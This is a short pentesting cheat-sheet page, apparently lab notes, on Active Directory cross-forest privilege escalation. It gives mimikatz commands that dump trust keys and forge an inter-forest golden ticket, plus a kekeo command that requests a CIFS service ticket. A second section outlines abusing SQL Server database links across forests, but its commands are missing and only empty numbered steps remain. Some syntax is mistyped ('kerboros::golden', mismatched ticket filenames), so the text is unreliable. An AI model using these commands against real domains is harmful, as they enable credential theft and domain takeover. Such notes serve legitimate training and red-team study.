πŸ”΄Cross Forest Attacks

Privesc across Forest using Trust tickets

we need trust key for that

invoke-mimikatz -command '"lsadump::trust /patch"' 
invoke-mimikatz -command '"lsadump::lsa /patch"'

Forging inter-forest TGT

invoke-mimikatz -command '"kerboros::golden /user:Administrator /domain:dollarcorp.moneycorp.local /sid:SID-of-current-domain /rc4:key-value /service:krbtgt /target:eurocorp.local /ticket:C:\AD\Tools\kekeo_old\trust-tkt.kirbi"'
klist purge

asking TGS

.\asktgs.exe C:\AD\Tools\kekeo_old\trust_tkt.kirbi CIFS/mcorp-dc.eurocorp.local

MYSQL Server Trust Abuse

in order to abuse MYSQL server we need to absue database links

DataBaseLinks

it allows SQL server to access external data sources like other SQL servers and etc..

Because of which we can execute commands

to do this we can either use powershell commands or manually (SQL commands)

database links works even across forest trust

  1. Finding SQL instances

  1. check accessibility

  1. gather information

  1. search database links

or

  1. Enumerating Database links

or

  1. after enumeration time to execute command

or

Last updated